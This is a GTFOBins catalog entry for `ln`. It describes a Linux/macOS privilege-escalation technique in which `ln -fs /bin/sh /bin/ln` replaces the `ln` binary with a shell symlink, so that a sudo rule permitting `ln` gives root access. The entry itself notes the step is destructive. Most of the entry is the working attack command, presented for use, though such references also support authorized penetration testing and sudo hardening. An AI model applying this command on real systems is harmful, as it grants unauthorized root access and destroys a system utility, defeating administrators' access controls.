Catalog GTFOBins

GTFO · Tool

ln

1 technique Linux · macOSGTFOBins GPL-3.0

privilege-escalation

Privilege Escalation LinuxmacOS

This overrides `ln` itself with a symlink to a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `ln` by path. Warning, this is a destructive action.

ln -fs /bin/sh /bin/ln
ln
Context
sudo
Native
privilege-escalation
MITRE
T1548